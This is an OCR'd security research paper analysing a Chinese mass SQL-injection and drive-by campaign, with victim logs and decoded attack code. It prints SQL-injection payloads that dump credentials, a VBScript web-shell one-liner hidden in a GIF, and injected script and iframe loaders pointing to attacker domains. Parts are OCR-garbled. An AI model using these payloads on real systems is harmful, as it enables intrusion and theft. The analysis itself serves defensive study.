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I. BIOS

Val Smith has been involved in the computer security community and industry for over ten years. He
currently works as a professional security researcher on a variety of problems in the security
community. He specializes in penetration testing, reverse engineering and malware research. He works
on the Metasploit Project development team as well as other vulnerability development efforts. Most
recently Valsmith founded Attack Research which is devoted to deep understanding of the mechanics
of computer attack. Previously Valsmith founded a public, open source malware research project.

Colin Ames is a security researcher with Attack Research LLC where he consults for both the private
and public sectors. He's currently focused on Pen testing, Exploit Development, Reverse Engineering,
and Malware Analysis.

Delchi has been involved in computers and computer security for over 15 years. He currently works
doing real time incident response protecting sensitive data. He specializes in data mining, log
correlation, IDS signature creation and most recently has contributed his skills as a computer security
analyst and incident responder to the Attack Research project.

II. ABSTRACT

Attackers have been increasingly using the web and client side attacks in order to steal information
from targets. Some of the more interesting and wide spread attacks seem to be originating from
countries like China and Russia. This talk will describe some of these attacks in detail including how
they are achieving large numbers of penetrations, their web infrastructures and some of the mistakes
they have made which have allowed us to track them back further. This information will provide some
evidence as to where these attacks are truly originating from and what their purposes are.

ITII. INTRODUCTION

In response to the threat from hackers, businesses and organizations have implemented a myriad of
tools to defend their networks and systems. Firewalls, antivirus, automated patching and intrusion
detection systems are just a few examples of these tools, which companies spend millions of dollars on
every year. However, the attackers are still succeeding, and the defensive tools are failing.

The paradigm of attack and exploitation has shifted. No longer do attackers send an exploit such as a
buffer overflow to a remote port and hope there is no firewall in the way. They have shifted to
attacking the clients and protocols which are trusted to communicate through the firewalls. They take
advantage of proxies, commonly authorized ports and user vulnerability in order to compromise hosts
and internal networks.

The web is a vast and powerful attack surface that attackers can leverage to accomplish their goals of
data and financial theft. Due to the positive economics available to attackers the level of sophistication
and complexity they can employ is constantly rising. Obfuscation, encoding, 0 days, IDS evasion and a
multitude of other techniques are being employed to ensure success. This paper will dissect an attack
which targets websites as well their clients. The attack appears to originate in China and uses trusted
but compromised websites, usually via SQL injection, in order to push malicious content to user
browsers.
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IV. CHINESE INJECTION
a.) Description

Attacks, appearing to originate from China are compromising thousands of websites, with the goal
of penetrating the visitors to the sites rather than the theft of data from the sites themselves. With the
compromise of the visitors the primary goal appears to be the theft of information and data, especially
game login accounts for games such as “World Of Warcraft”.

One of the most striking features of these attacks is how quickly they adapt new exploits to their
infrastructure. Immediately after the release of a recent IE7 Oday exploit, these attackers integrated the
new technique into their framework.

The way these attacks work is that a Chinese IP address searches Google for suitable targets
running vulnerable ASP pages. Then they attempt a series of SQL injections which, if successful,
enables them to inject a tiny piece of javascript into the target website which will redirect visitors to a
framework of malicious webpages (This is similar in design to other client side exploit frameworks
like MPACK). If the SQLi is not successful, the attackers will attempt other web attacks such as
arbitrary file uploads in order to accomplish the same effect. When a user visits the “trusted” website
their browser parses the javascript and they are directed in the background to a malicious site which,
via IFRAMES and obfuscated javascript, passes the user to several sites until the browser or some
other software is exploited. Then the attackers will begin accessing and ex-filtrating data.

b.) Attack Analysis

In this particular case the attackers appeared to make no effort to erase or modify logs and so a wealth
of information was available to assist in tracking and analyzing this attack. The analysts were able to
view the victim website in a virtual machine with a safe browser and locate the injected code.

Then the analysts begin following the links, IFRAMES and analyzing the obfuscated javascript, much
like in the previous described Blog Spam attack. The owners of the domains and IPs involved in the
attack were looked up and any exploits or malware binaries were reverse engineered.

This attack begins with the IP address 58.218.204.214 searching the web using Google to look for
target sites. This log entry provides us with a wealth of information in the page referrer.

http://www.google.cn/search?num=100&hl=zh-
CN&lr=lang ené&cr=countryUS&newwindow=1l&as gdr=allé&g=inurl:asp+i
d+intext:tennis+site:.com&start=300&sa=N

Interesting characteristics of this search:

hl=zh-CN ( Display language Chinese )

cr=countryUS ( Only return matches in the United States )
inurl:asp+id ( Contains ASP in URL and id )

site:.com ( Return only .com’s )

intext:tennis ( Page contains word “tennis”)
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ATTACKING HOST INFO

inetnum: 58.208.0.0 - 58.223.255.255
netname: CHINANET-JS

descr: jiangsu province network
descr: China Telecom

descr: A12,Xin-Jie-Kou-Wai Street
descr: Beijing 100088

country: CN

The user agent the attacker’s browser sent was:

HTTP/1.0 Mozilla/4.0+
(compatible; +MSIE+6.0; +Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727

It is interesting to note that they targeted the US specifically and the language used was Chinese. These
clues, along with the fact that the attacker’s IP is Chinese lead one to believe the attack is indeed from
China.

Once a vulnerable target is located, they attempt a large number of SQL injection attacks with the help
of Chinese tools like, NBSI2, NBSI2.5 private, and NBSI3.0 xialou which can be identified by the
pattern of attempted SQL injections. The output of these tools matches nearly verbatim the structure of
this attack. Several Chinese How-to websites exist as well explaining how to conduct these attacks step
by step. Ex.:

http://it.icxo.com/htmlnews/2004/12/03/493748.htm
http://www.angn.com/article/a/2005-12-28/a0976607.shtml

The victim’s logs show numerous HTTP 500 status codes associated with these SQL injections. This
error code is consistent with an Internal Server Error. Most likely this indicates that they are using the
error responses from the database itself in order to gather information which will help them in
compromising the server.

The attackers use several methods to obfuscate their attack and make it much more difficult to detect,
including: URL / Hex encoding, CHAR encoding and alternating upper and lower case characters.
Here is an example of an obfuscated payload from the victim’s logs:

216%20%20AnD%20%28dB_NaMe%280%29%2BcHaR%2894%29%2BuSeR%2BcHaR%2894%29%2BREVE
rSiOn%$2BcHaR%2894%29%2BREsErVeRnAmME$2BcHaR%2894%29%2B@A@sErViCeNaMe%$2BcHaR%28
94%29%2BsYsTeM UsEr%29%3D0%20%20

This is difficult to understand. A quick decoder was written in Ruby in order to remove some of the
obfuscation:

ruby -e '"[INSERT ENCODED DATA HERE]".scan(/../).each { |b| print
b.to_i(16).chr };puts’

We also have an encoder in case you want to go the other way:
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ruby -e '"[INSERT DATA TO BE ENCODED HERE]".each byte {|b| puts b.to_s(16)
} |l

The encoded data in this attack is actually SQL injection commands for gathering information about
the database:

216 AND (DB _NAME(0)+ “~ +USER+ ~ + Q@VERSION +*+@@SERVERNAME+
A+@@SERVICENAME+~+ SYSTEM USER)=0

A more advanced decoder which handles both Hex and CHAR encoding as well as nested encoded
values and alternating case follows:

#!/usr/bin/ruby

encoded = ARGV[0].to_s

tmp = encoded.gsub(/%../) {|match| match[l..2].hex.chr }

tmp = tmp.gsub(/[cC] [hH] [aA] [rR]\ (\d\d\)/) {|match| match[5..6].to_i.chr }
tmp = tmp.gsub(/0x(\d| [abcdef])+/) {|match]|

match[2. .match.length].gsub(/../) {|matchl| matchl.hex.chr} }

puts tmp.upcase

Here is an example of a complete log entry which is not only encoded, but has nested encoded values
as well:

2008-12-13 03:22:35 192.168.1. [victimip] GET /vuln.asp
search=T&id=216%20AnD%20%28cAsT%$28iS_srvrOlEmEmBeR%280x730079007300610064006
d0069006e00%29aS%20vArChAr%29%2BcHaR%2894%29%2BcAsT%28iS_srvrOlEmEmBeR%280x6
4006200630072006500610074006£007200%29aS%$20vArChAr%$29%2BcHaR%2894%29%2BCcAsTS
28iS_srvrOlEmEmBeR%280x620075006c006b00610064006d0069006e00%29aS%20vArChArs2
9%2BcHaR%2894%29%2BcAsT%28iS_srvrOlEmEmBeR%280x6400690073006b00610064006d006
9006e00%29aS%$20vArChAr%29%2BcHaR%2894%29%2BcAsT%28iS_srvrOlEmEmBeR%280x73006
5007200760065007200610064006d0069006e00%29aS%$20vArChAr%$29%2BcHaR%2894%29%2Bc
AsT%28iS mEmBeR%20%280x7000750062006c0069006300%29%20aS%20vArChAr%29%2BcHaR%
2894%29%2BcAsT%$28iS_mEmBeR%20%280x640062005£006£0077006e0065007200%29%20aS%2
OvArChAr%29%2BcHaR%2894%29%2BcAsT%28iS_mEmBeR%20%280x640062005£0062006100630
06b00750070006£00700065007200610074006£007200%29%20aS%20vArChAr%29%2BcHaR%28
94%29%2BcAsT%28iS mEmBeR%20%280x640062005£0064006100740061007700720069007400
65007200%29%20aS%20vArChAr%29%29%3D0%20|38|80040e07 | Syntax_error converting
the varchar_value_'07070707071717070'_to_a column_of data_ type int. 80 -
58.218.204.214 HTTP/1.1 Mozilla/4.0+ (compatible;+MSIE+6.0 ;+Windows+NT+5.0)
ASPSESSIONIDASCRQQRC=JEJNPOEBDIJNIJPGIFJIJNAGJIJM - www.victim.com 500 0 O 586
1174 343

After running this code through our decoders we get the following result:

216 AND (CAST (IS_SRVROLEMEMBER (SYSADMIN)AS VARCHAR) + ~ +
CAST (IS_SRVROLEMEMBER (DBCREATOR) AS VARCHAR) + ~ +

CAST (IS_SRVROLEMEMBER (BULKADMIN)AS VARCHAR) + % +

CAST (IS_SRVROLEMEMBER (DISKADMIN)AS VARCHAR) + * +

CAST (IS_SRVROLEMEMBER (SERVERADMIN)AS VARCHAR) + * +

CAST (IS_MEMBER (PUBLIC) AS VARCHAR) + * +

CAST (IS _MEMBER (DB OWNER) AS VARCHAR) + % +

CAST (IS_MEMBER (DB _BACKUPOPERATOR) AS VARCHAR) + * +

CAST (IS_MEMBER (DB DATAWRITER) AS VARCHAR))=0 |38|80040EO07|
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This particular SQL injection iterates through several default usernames. In this particular case the
SQLi attacks fail, however thousands of sites have fallen victim, most likely to the SQLi. Here is a list
of domains used by the attacks to inject code into other sites:

* 17gamo.com

* yrwap.cn

* sdo.1000mg.cn

*  www3.800mg.cn

* jjmaoduo.3322.org
* douhungn.cn

Once the SQL injection attacks are exhausted, the attacker from 58.218.204.214 discovers a library
component of the victim website which allows for image uploading. The attacker immediately takes
advantage of the fact that this library allows various types of image files and verifies uploaded files by
file headers. It only allows files with certain approved file headers such as GIF, JPG, etc. to be
uploaded. The attacker then uploads a CDX file with a valid GIF header. The targeted web server is
running Microsoft IIS. When parsing a file IIS will look for valid code, such as Visual Basic Script and
attempt to execute it, even if the file is a different type, such as an image file.

What the attacker does in this case is upload a file called 01.cdx, which is a valid GIF file with the
correct headers, but also contains some VBScript. The library checks the file, verifies that it is a GIF
and allows the upload. When the attacker hits the file, IIS executes the VBScript. Here is the embedded
code:

< script language = VBScript runat = server >execute request("go")< / Script
> ;<%execute (request("lionl2l")) %> <%executeglobal request("lionl21l")%$>
<%eval request("lionl2l") %>

NOTE: The name “lion” is embedded in the code. This is the name of a well known Chinese hacker,
but may be a coincidence.

The attacker then makes a series of HTTP POST’s to the CDX file. The fact that they are POSTs
makes analysis more difficult because the values passed to the file are not logged by the web server.
They do make one GET request:

- 2008-12-13 04:25:15 192.168.1. [victimip] GET /Images/0l.cdx
118|800a000d | Type mismatch:_ 'execute' 80 - 58.218.204.214
Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1)
http://www.victim.com/vuln image library.asp www.victim.com 500

Then a series of five POSTs to the .CDX file is performed by the attacker, one of which creates two
files named log.asp and top.asp. The analysts acquired the source to log.asp and identified it as a well
known ASP backdoor in the Chinese language. The username for this backdoor is lion121 and the
password is some Chinese character set string.

Several things can be determined from the logs which help to understand how the attacker used the
backdoor. The following parameter values were passed to log.asp:
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GET /Images/log.asp Action=Show1File
GET /Images/log.asp Action=MainMenu
GET /Images/log.asp Action=UpFile
GET /Images/log.asp Action=Cmd1Shell
GET /top.asp Action=plgm

Because they are GET requests, the values of the parameters sent to log.asp are available in the victim
web logs. These values indicate that the attackers can view file content, upload new files, and gain
command and control on the server. After a few GET requests they switch to using POSTs which
eliminates the ability to discern what values they are passing to the backdoor. Eventually, after a large
number of POSTs, they embed their malicious javascript code on every page of the victim’s website:

- <script src=http://yrwap.cn/h.]js></script>

Any user who visits any page on this victim’s site will get directed in the background to this javascript,
likely leading to compromise of the victim’s computer. The source of this javascript is:

document.write ("<iframe width='100' height='0"
src="http://www.l7gamo.com/coo/index.htm'</iframe>") ; "M

document.write ("<iframe width='0' height='0'
src="http://www. trinaturk.com/faq.htm'</iframe>") ; *M

The 17gamo domain was seen previously in the failed SQLi attempts, indicating a connection to these
attacks, and their originating IP’s. (Note: the “M indicates that this file was probably created on a
windows computer using a tool such as notepad.)

This code begins typical IFRAME redirects which go off to many domains. For demonstration
purposes here is the source code of the 17gamo site:

<script language="javascript" src=
"http://countl7.51lyes.com/click.aspx?id=171044941&logo=1"></script>
<html><script>

document.write ("<iframe width=100 height=0 src=14.htm</iframe>") ;
document.write ("<iframe width=100 height=0 src=flash.htm</iframe>") ;
if (navigator.userAgent. toLowerCase () .indexOf ("msie7")>0)
document.write ("<iframe src=IE7.htm width=100 height=0>") ;

try { var d;

var lz=new ActiveXObject ("NCTAudio"+"File2.AudioFile2.2") ;}
catch(d) {};

finally{if (d!'="[object Error]") {document.write("");}}

try { var b;

var of=new ActiveXObject ("snpvw.Snap"+"shot Viewer Control.1l") ;}
catch(b) {};

finally{if (b!="[object Error]") {document.write ("

<iframe width=100 height=0 src=office.htm");}}

function Game () {

Sameee = "IERPCtl.IERPCtl.1";

try { Gime = new ActiveXObject (Sameee); }

catch (error) {return;}

Tellm = Gime.PlayerProperty ("PRODUCT"+"VERSION") ;

if (Tellm<="6.0.14.552")

document.write("") ;
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else document.write(""); }
Game () ;

This code deploys a large number of IFRAMES, each of which contains exploits for various software
packages. These are the exploits they deploy:

— 1E 7 MS08-078 (recent Oday)

— Flash exploit for 6.0.14.552

— Microsoft Access Snapshot Viewer ActiveX Control Exploit

— RealPlayer rmoc3260.d1l ActiveX Control Heap Corruption

— IE NCTAudioFile2.AudioFile ActiveX Remote Stack OverflOw

— A ton of other SWF exploits depending on version (I counted at least 12)

We have included the source to all these exploits in the appendix
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V. CONCLUSIONS

This is a sophisticated, highly complex attack which utilizes multiple layers of obfuscation,
evasion and misdirection. These attackers are quick to deploy new exploits and upgrade their
infrastructure to be more effective. They have been successful with thousands of sites compromised
and probably tens of thousands of users.

The web is a highly effective tool for attackers to compromise large numbers of victims.
Defense in this realm is difficult because in some of these cases, legitimate, normally trusted sites are
compromised and there aren’t many ways for the users to detect or avoid these attacks. 0 day’s are
used which render patches to be ineffective. These attacks rely on user interaction which make host
based intrusion detection less useful. Firewalls currently don’t stop these methods because they
communicate from the inside out, typically over trusted protocols.

We believe these attacks are currently originating from within China and Russia but there are
many attacks whose origin is still unknown. Ultimately these attackers are generating revenue from
this behavior, and the likely hood of getting caught and stopped is low. Due to this one can postulate
that future attacks are likely to continue increasing in sophistication and grow in success rates.
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VII. APPENDIX

a.) SQL Injections from the victim log
Google search looking for vulnerable servers:

2008-12-13 02:10:41 W3SVC1329086612 WEB1 192.168.1.[victimip] HEAD /vuln.asp search=T&id=216 80 -
58.218.204.214 HTTP/1.0 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.1;+SV1;+.NET+CLR+2.0.50727)
PREF=ID=ee21b2c8485aae07:NW=1:TM=1229000634:1LM=1229000634:5S=EsYPTzF1si4CNeKf; +NID=17=HznCz40jBy4MYgGlmn
H2E1INZHtOeDGGpIjWgZTNJc7b eMscqQ-MhP5qi4tNz-DYF9Uqbv8iNJzrGslkxqqLelz6LOG7g4MK11gjWINTXQofi-

z73rvT2e vEdxBTcR http://www.google.cn/search?num=100&hl=zh-

CN&lr=lang ené&cr=countryUS&newwindow=1&as gdr=all&g=inurl:aspt+id+intext:tennis+site:.com&start=300&sa=N
www.victim.com 200 0 0 299 563 312

Next they try some SQL injection, here is both encoded and decoded versions:

2008-12-13 03:22:34 W3SVC1329086612 WEBL1 192.168.1.[victimip] GET /vuln.asp
search=T&1d=216%20%20AnD%20%28dB_NaMe%280%29%2BcHaR%2894%29%2BuSeR%2BcHaR%2894%29%2BRRVErsioOn%2BcHaR%28
94%29%2BR@sErVeRnAmE$2BcHaR%2894%29%2BR@sErvViCeNaMe$2BcHaR%2894%29%2BsYsTeM UsEr%29%3D0%20%20 80 -
58.218.204.214 HTTP/1.1 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.0)
ASPSESSIONIDASCRQORC=JEJNPOEBDIJNIJPGIFJNAGJM - www.victim.com 200 0 08842 419 906

DECODED:

216 AnD
(dB_NaMe (0) +cHaR (94) tuSeR+cHaR (94) +@@vErSiOn+cHaR (94) +@@sErVeRnAmE+cHaR (94) +@@sErViCeNaMe+cHaR (94) +sYsT
eM UsEr)=0

Then they try to read from a file several times:

2008-12-13 03:22:35 W3SVC1329086612 WEBL1 192.168.1.[id] GET /vuln.asp
search=T&1d=216%20%20AnD%20%28sE1EcT%20ToP%201%20rtrim%281SnULlL%28cAsT%$28nAmE$20aS%20nvArChAr%$284000%29
%29, cHaR%2832%29%29%29%2BcHaR%289%29%2Brtrim%281iSnUlL%28cAsT%28fi1ilenAmE$20aS%20nvArChArs284000%29%29, cH
aR%2832%29%29%29%2BcHaR%289%29%20FrOm%20%28sE1EcT$20ToP%201%20nAmE, filenAmE%20FrOm$20mAsTeR. .sYsDaTaBaS
e5%200RdAEr%20bY%20nAmE$20%29%20t%200RAEr%20bY%20nAmE%20dEsC%29%3D0%20%20(38|80040e07 | Syntax error conve
rting the nvarchar value victim+D:\MSSQL7\DATA\data\victim Data.MDF+' to a column of data type int. 80
- 58.218.204.214 HTTP/1.1 Mozilla/4.0+ (compatible;+MSIE+6.0;+Windows+NT+5.0)
ASPSESSIONIDASCRQQRC=JEJNPOEBDIJNIJPGIFJINAGIM - www.victim.com 500 0 0 623 604 328

DECODED:

216 AND (SELECT TOP 1 RTRIM(ISNULL (CAST (NAME AS NVARCHAR(4000)), ))+CHAR(9)+RTRIM(ISNULL (CAST (FILENAME
AS NVARCHAR (4000)), ))+CHAR(9) FROM (SELECT TOP 1 NAME, FILENAME FROM MASTER..SYSDATABASES ORDER BY NAME
) T ORDER BY NAME DESC)=0

[38180040e07|Syntax error converting the nvarchar value 'victim+D:\MSSQL7\DATA\data\victim Data.MDF+' t
o _a column of data type int

Then they try to enumerate users:

216 AND (SELECT CAST (COUNT (1) AS NVARCHAR(100))+CHAR(9) FROM (SELECT NAME FROM [VICTIM]..SYSOBJECTS
WHERE XTYPE=U) T)=0

More information gathering:
216 AND (SELECT TOP 1 SUBSTRING(C,1,200) FROM T T)=0

216 AND (SELECT CAST (COUNT (1) AS NVARCHAR(100))+CHAR(9) FROM (SELECT NAME FROM [VICTIM]..SYSCOLUMNS
WHERE ID=OBJECT_ ID([VICTIM]..[USERS])) T)=0

216 AND (SELECT TOP 1 RTRIM(ISNULL (CAST (NAME AS NVARCHAR(4000)), ))+CHAR(9) FROM (SELECT TOP 1 NAME

FROM [VICTIM]..SYSCOLUMNS WHERE ID=OBJECT ID([VICTIM]..[USERS]) ORDER BY NAME ) T ORDER BY NAME DESC)=0
216 AND (SELECT TOP 1 RTRIM(ISNULL (CAST (NAME AS NVARCHAR (4000)), ))+CHAR(9) FROM (SELECT TOP 2 NAME
FROM [VICTIM]..SYSCOLUMNS WHERE ID=OBJECT ID([VICTIM]..[USERS]) ORDER BY NAME ) T ORDER BY NAME DESC)=0

216 AND (SELECT CAST (COUNT (1) AS NVARCHAR(100))+CHAR(9) FROM (SELECT TOP 3 [ID], [PASSWORD], [USERNAME]
FROM [VICTIM]..[USERS] ) T)=0

16 AND (SELECT TOP 1 RTRIM(ISNULL(CAST ([ID] AS NVARCHAR(4000)),
) ) +CHAR (9) +RTRIM (ISNULL (CAST ([PASSWORD] AS NVARCHAR (4000)), ))+CHAR(9)+RTRIM(ISNULL (CAST ([USERNAME] AS
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NVARCHAR (4000) ), ))+CHAR(9) FROM (SELECT TOP 1 [ID], [PASSWORD], [USERNAME] FROM [VICTIM]..[USERS] ORDER
BY [ID] ) T ORDER BY [ID] DESC)=0

216 AND (SELECT TOP 1 RTRIM(ISNULL(CAST ([ID] AS NVARCHAR(4000)),

) ) +CHAR (9) +RTRIM (ISNULL (CAST ( [PASSWORD] AS NVARCHAR (4000)), ))+CHAR(9)+RTRIM(ISNULL (CAST ([USERNAME] AS
NVARCHAR (4000) ), ))+CHAR(9) FROM (SELECT TOP 3 [ID], [PASSWORD], [USERNAME] FROM [VICTIM]..[USERS] ORDER
BY [ID] ) T ORDER BY [ID] DESC)=0

b.) Source from http://yrwap.cn/h.js

document.write ("<iframe width='100"' height='0' src='http://www.l7gamo.com/coo/index.htm'></iframe>");
document.write ("<iframe width='0' height='0"' src='http://www.trinaturk.com/faq.htm'></iframe>");

c.) Source from l7gamo.com/1.js

document.writeln ("<script
src=\"http:\/\/count48.5lyes.com\/click.aspx?1d=484329676&1logo=1\"><\/script>");
document .write ("<iframe width=100 height=0 src=http://www.l7gamo.com/co/index.htm><\/iframe>") ;

d.) Source from 17gamo.com/coo/index.htm

document.writeln ("<script
src=\"http:\/\/count48.51lyes.com\/click.aspx?1d=484329676&1logo=1\"><\/script>");

document.write ("<iframe width=100 height=0
src=http://www.l7gamo.com/co/index.htm><\/iframe>");valsmith@notsure:~/4nickerson$ cat index.htm
<script language="javascript" src="http://countl7.5lyes.com/click.aspx?id=171044941&logo=1"></script>
<html>

<script>

document.write ("<iframe width=100 height=0 src=14.htm></iframe>");

document.write ("<iframe width=100 height=0 src=flash.htm></iframe>");

if (navigator.userAgent.toLowerCase () .indexOf ("msie 7")>0)

document.write ("<iframe src=IE7.htm width=100 height=0></iframe>");

try{var d;

var lz=new ActiveXObject ("NCTAudio"+"File2.AudioFile2.2");}

catch(d) {};

finally{if (d!="[object Error]") {document.write ("<iframe width=100 height=0 src=nct.htm></iframe>");}}
try{var b;

var of=new ActiveXObject ("snpvw.Snap"+"shot Viewer Control.l1l");}

catch(b) {};

finally{if (b!="[object Error]") {document.write ("<iframe width=100 height=0

src=office.htm></iframe>");}}

function Game ()

{

Sameee = "IERPCtl.IERPCtl.1";

try

{

Gime = new ActiveXObject (Sameee) ;

}catch (error) {return;}

Tellm = Gime.PlayerProperty ("PRODUCT"+"VERSION") ;
if(Tellm<="6.0.14.552")

document.write ("<iframe width=100 height=0 src=real.htm></iframe>");
else

document.write ("<iframe width=100 height=0 src=real.html></iframe>");
}

Game () ;

</script>

</html>

e:) Source from http://count48.5lyes.com/click.aspx?id=484329676&logo=1

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<meta name="keywords" content="A+A;,A3-N,0%%n, I3uE, To0%, A4 -NIaO%uA+A; I3LE">
<meta name="description" content="A+A;,Aa-N,0%°n, I13uE, Iz0%, Aa-NigO%uA+A; I34E">
<title>51YesfgOuA+A;I3%EE-OCATU et+3 V2.5</title>

<script src="files/judgment.js" type="text/javascript"></script>

<script language="JavaScript" type="text/JavaScript">

<!l--

function forml submit ()

{
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/*
if ((fucCheckLength (forml.LoginName.value)<4) || (fucPWDchk (forml.LoginName.value)==0)
{
if (fucCheckLength (forml.LoginName.value)<4)
alert ("OA»SAG2»AUEUOU4I»EY£") ;
else
alert ("OA»SAGOPO»AUODOCIA  ¢EyxO°TIA»®IR{£") ;
forml.LoginName. focus () ;
return false;

}

if ((fucCheckLength (forml.LoginPassword.value)<4) || (fucPWDchk (forml.LoginPassword.value)==0))

{
if (fucCheckLength (forml.LoginPassword.value)<4)
alert ("AUA&2»AUEUOU4I»EYi£") ;
else
alert ("AUASOPO»AUODOCIA ¢Eyx0°TIA»®IB L") ;
forml.LoginPassword. focus () ;
return false;
}
if ((fucCheckLength (forml.VCode.value)==6) || (fucPWDchk (forml.VCode.value)==0)
{
if (fucCheckLength (forml.VCode.value) !=6)
alert ("NEORASEC6I»EY L") ;
else
alert ("NéOmAO»AUOPOCIACIEY=O L") ;
forml.VCode.focus () ;
return false;

}

*/
return true;
}
//==>
</script>
<link href="files/css.css" rel="stylesheet" type="text/css">
</head>

<body bgcolor="#DDDDDD" topmargin="0">

<table width="960" border="0" align="center" cellpadding="0" cellspacing="0">

<tr>

<td width="5" valign="top" background="pic/left.gif"><img src="pic/left top.gif" width="5"
height="10"></td>

<td width="950"><table width="949" border="0" cellpadding="0" cellspacing="0"
background="pic/logo gb.gif">

<tr> B

<td width="259"><img src="pic/logo.gif" width="247" height="70"></td>

<td width="690"><IFRAME src="http://ad.5lyes.com/tl2.htm" name="a" width="680" marginwidth="0"
height="70" marginheight="0" scrolling="no" frameborder="0" hspace="0" vspace="0"
allowtransparency="true"></IFRAME></td>

</tr>

</table>

<table width="950" border="0" cellpadding="0" cellspacing="0" background="pic/headbg-a.gif">
<tr>

<td width="100" align="center"><a href="http://count.5lyes.com/"> - u»@Ex03</a></td>

<td width="2"><img src="pic/head.gif" width="2" height="20"></td>

<td width="100" align="center"><a href="reg-1.htm">A4-Nx¢24</a></td>

<td width="2"><img src="pic/head.gif" width="2" height="20"></td>

<td width="100" align="center"><a href="http://demo.5lyes.com/all.aspx">?0E-E%Ay</a></td>
<td width="2"><img src="pic/head.gif" width="2" height="20"></td>

<td width="100" align="center"><a href="help.htm">°i000PPA</a></td>

<td width="2"><img src="pic/head.gif" width="2" height="20"></td>

<td>&nbsp;</td>

</tr>

</table></td>

<td width="5" valign="top" background="pic/right.gif"><img src="pic/right top.gif" width="5"
height="10"></td>

</tr>

</table>

<table width="960" border="0" align="center" cellpadding="0" cellspacing="0">

<tr>

<td width="5" rowspan="2" valign="bottom" background="pic/left.gif"><img src="pic/left bottom.gif"
width="5" height="10"></td>

<td width="950" valign="top"><table width="950" border="0" cellpadding="0" cellspacing="0"
bgcolor="FFF8FF">

<tr>

<td height="5"></td>
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</tr>

<tr>

<td><table width="950" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="258" valign="top"><table width="258" border="0" cellspacing="0" cellpadding="0">
<tr>

<td align="center"><table width="248" border="0" cellspacing="0" cellpadding="0">

<tr>

<td height="27" background="pic/txtboxtopbg.gif">&nbsp;&nbsp;<strong>0A»SpCA%k</strong></td>
</tr>

<tr>

<td><table width="248" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="5" background="pic/txtboxleft.gif"></td>

<td width="238" align="center"><table width="230" border="0" cellspacing="3" cellpadding="0">
<form action="login.aspx" method="post" name="forml" id="forml" onSubmit="return forml submit ()">
<tr>

<td>OA»SAGL°

<input name="LoginName" type="text" id="LoginName" size="22" maxlength="12" tabindex="1"></td>
</tr>

<tr>

<td>AU&nbsp; &nbsp;A&£°

<input name="LoginPassword" type="password" id="LoginPassword" size="12" maxlength="16" tabindex="2">
<a href="getpassword.aspx"><span class="morel">E;»@AUA&&nbsp;&gt; &gt;</span></a></td>

</tr>

<tr>

<td>NéOnAsse

<input name="VCode" type="text" id="VCode" size="10" maxlength="4" tabindex="3">

<img id="Imagel" align="absmiddle" src="vcode.aspx?num=6537" style="border-color:Blue;border-
width:1lpx;border-style:solid;"></td>

</tr>

<tr>

<td align="center"><input type="submit" name="Submit" value="pC A4" tabindex="4">

<input type="button" name="button2" value="x¢ 24" onClick="window.location = 'reg-l.htm';"
tabindex="5"><input name="LoginCount" type="hidden" value="Yax2iG4eAUk="></td>
</tr>

</form>

</table></td>

<td width="5" background="pic/txtboxright.gif"></td>

</tr>

</table></td>

</tr>

<tr>

<td><img src="pic/txtboxbottom.gif" width="248" height="5"></td>

</tr>

</table></td>

</tr>

<tr>

<td align="center"><IFRAME src="http://ad.5lyes.com/al-a6.htm" name="a" width="214" marginwidth="0"
height="372" marginheight="0" scrolling="no" frameborder="0" hspace="0" vspace="0"
allowtransparency="true"></IFRAME></td>

</tr>

</table><table width="258" border="0" cellspacing="5" cellpadding="0">

<tr>

<td align="center"><a href="http://ad.5lyes.com/ad.htm" target=" blank">+3%0%pAALEXAAAAGOU<strong
style="font-size: 16px; color:#FF0000">400</strong>00AUf~<span class="morel">'a a&0Pbxa
&gt;&gt;</span></a></td>

</tr>

<tr>

<td><table width="248" border="0" cellspacing="0" cellpadding="0">

<tr>

<td height="27" background="pic/txtboxtopbg.gif">&nbsp; &nbsp;<strong>Igditidksé</strong></td>
</tr>

<tr>

<td><table width="248" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="5" background="pic/txtboxleft.gif"></td>

<td width="238" align="center"><table width="238" border="0" cellspacing="5" cellpadding="0">
<tr>

<td>51YES.COMECO»%0  OEA»¥A2I@2ulk- ;2 - ¢ulx On'«E2e~I10ACHA | °<b><font
color="#FF0000">51YesTg0%A+A; I 3UEE-OCAU 2+3V2 . 5</ font></b>|+%-1y2AéJanA Akg° T fekrE~T120DupnAd}3nAs-NI4t0
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AE ROEA;pAI uE-pIn;£I0ACPATI UE-PIAOD2»»an *6EI°InA2Aa%p»o0R 4, 2t I-E+I0AC»A30OPopA  AkgOalx I WEInis£-°NAS -
N-pIfiTatoptpx;£</td>

</tr>

</table></td>

<td width="5" background="pic/txtboxright.gif"></td>

</tr>

</table></td>

</tr>

<tr>

<td><img src="pic/txtboxbottom.gif" width="248" height="5"></td>

</tr>

</table></td>

</tr>

<tr>

<td><table width="248" border="0" cellspacing="0" cellpadding="0">

<tr>

<td height="27" background="pic/txtboxtopbg.gif">&nbsp;&nbsp;<strong>Igd%'«, a</strong></td>
</tr>

<tr>

<td><table width="248" border="0" cellspacing="0" cellpadding="0">

<tr>

<td width="5" background="pic/txtboxleft.gif"></td>

<td width="238" align="center"><table width="238" border="0" cellspacing="5" cellpadding="0">
<tr>

<td>

<p style="margin-top: 7px; margin-bottom:
0"><u><b>08/01/17</b></u>: @00 *JAA¢IP-AIRA; | +HEES - 25+~ AligpAO@021 02 ;£<a href="callboard-3.htm"
target="_blank"><font color="#FF0000">pa»+; I&Cés&nbsp;&gt;&gt;</font></a></p>

<p style="margin-top: 7px; margin-bottom:
0"><u><b>07/01/01</b></u>:InufpPA06AE; °; I»§10IangAiI»0A- 0106 £00%° ; ° 1 3LELy%YIAOD  +uk | AU j£<a
href="callboard-2.htm" target=" blank"><font color="#FF0000">na»~; I&Cé&nbsp;&gt;&gt;</font></a></p>
<p style="margin-top: 7px; margin-bottom:
0"><u><b>11/25</b></u>:Ini*40C; AEJOENE+OyCae° II-E+OUIR A TpAlstEpE® |AUj£<a href="callboard.htm"
target="_blank"><font color="#FF0000">néd»+; I&Cé&nbsp;&gt;&gt;</font></a></p>

<p style="margin-top: 7px; margin-bottom:
